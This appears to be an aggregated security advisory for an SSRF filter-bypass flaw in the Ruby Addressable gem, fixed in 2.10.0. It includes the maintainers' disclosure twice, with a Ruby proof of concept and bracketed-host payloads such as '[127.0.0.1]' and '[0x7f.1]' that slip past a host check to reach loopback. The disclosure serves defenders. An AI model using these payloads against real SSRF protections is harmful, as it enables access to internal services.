CVE-2026-141535: Addressable Addressable URI#hostname Strips Brackets From Vulnerability

LOW
Advisory Identifier: GHSA-c7j3-jq7p-v3pr
CVSS 3.7
CWE-436 CWE-20 CWE-918
Published
Advisory Summary

CVE-2026-141535 is a LOW (CVSS 3.7) addressable uri#hostname strips brackets from vulnerability (CWE-436: Interpretation Conflict) affecting Addressable libraries in the RubyGems ecosystem. The issue involves addressable uri#hostname strips brackets from hosts that aren't ip literals. Remediation is available by upgrading affected packages to version 2.10.0.

CVE-2026-141535 at a Glance

CVE Identifier CVE-2026-141535
GHSA Identifier GHSA-c7j3-jq7p-v3pr
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-436: Interpretation Conflict
Affected Product Addressable
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-141535

To remediate this vulnerability, upgrade all affected Addressable dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

addressable fixed: 2.10.0
Upgrade addressable to 2.10.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for addressable

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-141535, inspect your project dependencies for Addressable:

inspect dependencies for addressable

Analyze the terminal output to locate any version of Addressable in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Addressable, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact `Addressable::URI.parse` accepts a host in brackets even when the text inside isn't an IPv6 address or an IPvFuture literal, such as `http://[127.0.0.1]/` or `http://[localhost]/`. `#host` keeps the brackets, but `#hostname` strips them, so code that checks `host` and connects to `hostname` checks one name and connects to another. `Net::HTTP` connects to `hostname` when given an Addressable URI. RFC 3986 §3.2.2 allows brackets only around an IP-literal: an IPv6 address or an IPvFuture literal (`v1.…`). Ruby's `URI` and curl reject anything else. The bracketed form of a name or IPv4 address doesn't resolve: `IPAddr.new("[127.0.0.1]")` raises and `Resolv.getaddresses("[127.0.0.1]")` returns `[]`, while the stripped form resolves normally. A valid IPv6 literal such as `[::1]` isn't affected, because `IPAddr` accepts its bracketed form. An application is affected if it: - parses an untrusted URL with Addressable, - checks the destination using `#host`, and permits a host through even if it doesn't resolve, and - connects using `#hostname`, for example by passing the Addressable URI to `Net::HTTP`. The request then reaches loopback or another internal address that the check would otherwise have blocked. A check that treats names that don't resolve as blocked isn't affected. ### Affected Versions This vulnerability affects Addressable >= 2.3.5, where `#hostname` began stripping the brackets from any bracketed host. In earlier versions, `#hostname` doesn't exist or returns the host unchanged. It is fixed in 2.10.0, where `URI.parse`, `URI.new` and the host setters raise `InvalidURIError` for brackets in a host that don't enclose an IPv6 address or an IPvFuture literal, as Ruby's `URI` does. ### Workarounds - Check the same value used to connect: generally prefer `hostname` over `host` for SSRF checks, avoid checking `host` but then connecting to `hostname`, only connect to the same address that an SSRF check was performed on. - Reject a URI whose `host` starts with `[` unless `IPAddr.new(uri.hostname)` is an IPv6 address. ### Proof of Concept The following script starts a server on loopback only and makes no other network requests. ```ruby require "addressable/uri" require "ipaddr"; require "resolv"; require "socket"; require "net/http" server = TCPServer.new("127.0.0.1", 0) port = server.addr[1] Thread.new do loop do s = server.accept s.gets; while (l = s.gets) && l != "\r\n"; end s.write("HTTP/1.1 200 OK\r\nContent-Length: 8\r\n" \ "Connection: close\r\n\r\nINTERNAL") s.close end end def blocked?(uri) ips = begin [IPAddr.new(uri.host)] rescue IPAddr::InvalidAddressError Resolv.getaddresses(uri.host).map { |a| IPAddr.new(a) } end ips.any? { |ip| ip.loopback? || ip.private? || ip.link_local? } end def fetch(url) uri = Addressable::URI.parse(url) return "blocked" if blocked?(uri) Net::HTTP.get_response(uri).body rescue => e e.class.to_s end ["http://127.0.0.1:#{port}/", "http://localhost:#{port}/", "http://[::ffff:127.0.0.1]:#{port}/", "http://[127.0.0.1]:#{port}/", "http://[localhost]:#{port}/", "http://[127.1]:#{port}/", "http://[2130706433]:#{port}/", "http://[0x7f.1]:#{port}/"].each do |u| puts "%-36s %s" % [u.sub(port.to_s, "PORT"), fetch(u)] end ``` Output with 2.9.2, Ruby 4.0.2: ``` http://127.0.0.1:PORT/ blocked http://localhost:PORT/ blocked http://[::ffff:127.0.0.1]:PORT/ blocked http://[127.0.0.1]:PORT/ INTERNAL http://[localhost]:PORT/ INTERNAL http://[127.1]:PORT/ INTERNAL http://[2130706433]:PORT/ INTERNAL http://[0x7f.1]:PORT/ INTERNAL ``` Output with the fix: ``` http://127.0.0.1:PORT/ blocked http://localhost:PORT/ blocked http://[::ffff:127.0.0.1]:PORT/ blocked http://[127.0.0.1]:PORT/ Addressable::URI::InvalidURIError http://[localhost]:PORT/ Addressable::URI::InvalidURIError http://[127.1]:PORT/ Addressable::URI::InvalidURIError http://[2130706433]:PORT/ Addressable::URI::InvalidURIError http://[0x7f.1]:PORT/ Addressable::URI::InvalidURIError ``` ### Credits Reported by Praneeth (@praneeth-bala), UCSB SecLab. ### For more information If there are any questions or comments about this advisory: * [Open an issue](https://github.com/sporkmonger/addressable/issues)

CVE-2026-141535 Affected Addressable Versions

1 component(s)
Fixed Versions:
2.10.0
Product / Package Ecosystem Affected Versions Fixed Version
addressable
RubyGems
≥ 2.3.5
< 2.10.0
2.10.0

References

Frequently Asked Questions

What is CVE-2026-141535?
CVE-2026-141535 is a security vulnerability in Addressable involving Addressable URI#hostname strips brackets from hosts that aren't IP literals under CWE-436: Interpretation Conflict.
Which Addressable versions are affected?
Affected versions include releases prior to 2.10.0 across affected packages: addressable.
What version fixes CVE-2026-141535?
Upgrading to 2.10.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is addressable affected?
Yes, addressable is affected in releases prior to 2.10.0. Upgrade your dependency to 2.10.0 or later.
What is the CVSS score of CVE-2026-141535?
CVE-2026-141535 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-141535?
CVE-2026-141535 is classified under CWE-436: Interpretation Conflict (Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.).
How can I check RubyGems dependencies for CVE-2026-141535?
Run the dependency tree command: 'inspect dependencies for addressable'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c7j3-jq7p-v3pr",
  "modified" : "2026-12-01T23:55:10Z",
  "published" : "2026-12-01T23:55:10Z",
  "aliases" : [ "CVE-2026-141535" ],
  "summary" : "Addressable URI#hostname strips brackets from hosts that aren't IP literals",
  "details" : "### Impact\n\n`Addressable::URI.parse` accepts a host in brackets even when the text inside isn't an IPv6 address or an IPvFuture literal, such as `http://[127.0.0.1]/` or `http://[localhost]/`. `#host` keeps the brackets, but `#hostname` strips them, so code that checks `host` and connects to `hostname` checks one name and connects to another. `Net::HTTP` connects to `hostname` when given an Addressable URI.\n\nRFC 3986 §3.2.2 allows brackets only around an IP-literal: an IPv6 address or an IPvFuture literal (`v1.…`). Ruby's `URI` and curl reject anything else. The bracketed form of a name or IPv4 address doesn't resolve: `IPAddr.new(\"[127.0.0.1]\")` raises and `Resolv.getaddresses(\"[127.0.0.1]\")` returns `[]`, while the stripped form resolves normally. A valid IPv6 literal such as `[::1]` isn't affected, because `IPAddr` accepts its bracketed form.\n\nAn application is affected if it:\n\n- parses an untrusted URL with Addressable,\n- checks the destination using `#host`, and permits a host through even if it doesn't resolve, and\n- connects using `#hostname`, for example by passing the Addressable URI to `Net::HTTP`.\n\nThe request then reaches loopback or another internal address that the check would otherwise have blocked. A check that treats names that don't resolve as blocked isn't affected.\n\n### Affected Versions\n\nThis vulnerability affects Addressable >= 2.3.5, where `#hostname` began stripping the brackets from any bracketed host. In earlier versions, `#hostname` doesn't exist or returns the host unchanged. It is fixed in 2.10.0, where `URI.parse`, `URI.new` and the host setters raise `InvalidURIError` for brackets in a host that don't enclose an IPv6 address or an IPvFuture literal, as Ruby's `URI` does.\n\n### Workarounds\n\n- Check the same value used to connect: generally prefer `hostname` over `host` for SSRF checks, avoid checking `host` but then connecting to `hostname`, only connect to the same address that an SSRF check was performed on.\n- Reject a URI whose `host` starts with `[` unless `IPAddr.new(uri.hostname)` is an IPv6 address.\n\n### Proof of Concept\n\nThe following script starts a server on loopback only and makes no other network requests.\n\n```ruby\nrequire \"addressable/uri\"\nrequire \"ipaddr\"; require \"resolv\"; require \"socket\"; require \"net/http\"\n\nserver = TCPServer.new(\"127.0.0.1\", 0)\nport = server.addr[1]\nThread.new do\n  loop do\n    s = server.accept\n    s.gets; while (l = s.gets) && l != \"\\r\\n\"; end\n    s.write(\"HTTP/1.1 200 OK\\r\\nContent-Length: 8\\r\\n\" \\\n            \"Connection: close\\r\\n\\r\\nINTERNAL\")\n    s.close\n  end\nend\n\ndef blocked?(uri)\n  ips = begin\n    [IPAddr.new(uri.host)]\n  rescue IPAddr::InvalidAddressError\n    Resolv.getaddresses(uri.host).map { |a| IPAddr.new(a) }\n  end\n  ips.any? { |ip| ip.loopback? || ip.private? || ip.link_local? }\nend\n\ndef fetch(url)\n  uri = Addressable::URI.parse(url)\n  return \"blocked\" if blocked?(uri)\n  Net::HTTP.get_response(uri).body\nrescue => e\n  e.class.to_s\nend\n\n[\"http://127.0.0.1:#{port}/\", \"http://localhost:#{port}/\",\n \"http://[::ffff:127.0.0.1]:#{port}/\", \"http://[127.0.0.1]:#{port}/\",\n \"http://[localhost]:#{port}/\", \"http://[127.1]:#{port}/\",\n \"http://[2130706433]:#{port}/\", \"http://[0x7f.1]:#{port}/\"].each do |u|\n  puts \"%-36s %s\" % [u.sub(port.to_s, \"PORT\"), fetch(u)]\nend\n```\n\nOutput with 2.9.2, Ruby 4.0.2:\n\n```\nhttp://127.0.0.1:PORT/               blocked\nhttp://localhost:PORT/               blocked\nhttp://[::ffff:127.0.0.1]:PORT/      blocked\nhttp://[127.0.0.1]:PORT/             INTERNAL\nhttp://[localhost]:PORT/             INTERNAL\nhttp://[127.1]:PORT/                 INTERNAL\nhttp://[2130706433]:PORT/            INTERNAL\nhttp://[0x7f.1]:PORT/                INTERNAL\n```\n\nOutput with the fix:\n\n```\nhttp://127.0.0.1:PORT/               blocked\nhttp://localhost:PORT/               blocked\nhttp://[::ffff:127.0.0.1]:PORT/      blocked\nhttp://[127.0.0.1]:PORT/             Addressable::URI::InvalidURIError\nhttp://[localhost]:PORT/             Addressable::URI::InvalidURIError\nhttp://[127.1]:PORT/                 Addressable::URI::InvalidURIError\nhttp://[2130706433]:PORT/            Addressable::URI::InvalidURIError\nhttp://[0x7f.1]:PORT/                Addressable::URI::InvalidURIError\n```\n\n\n### Credits\n\nReported by Praneeth (@praneeth-bala), UCSB SecLab.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "addressable"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.3.5"
      }, {
        "fixed" : "2.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.9.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sporkmonger/addressable/security/advisories/GHSA-c7j3-jq7p-v3pr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sporkmonger/addressable/commit/b56b49d54f87887fa8f0e42216618eaa9af273de"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sporkmonger/addressable"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sporkmonger/addressable/releases/tag/addressable-2.10.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-436", "CWE-918" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T23:55:10Z",
    "nvd_published_at" : null
  }
}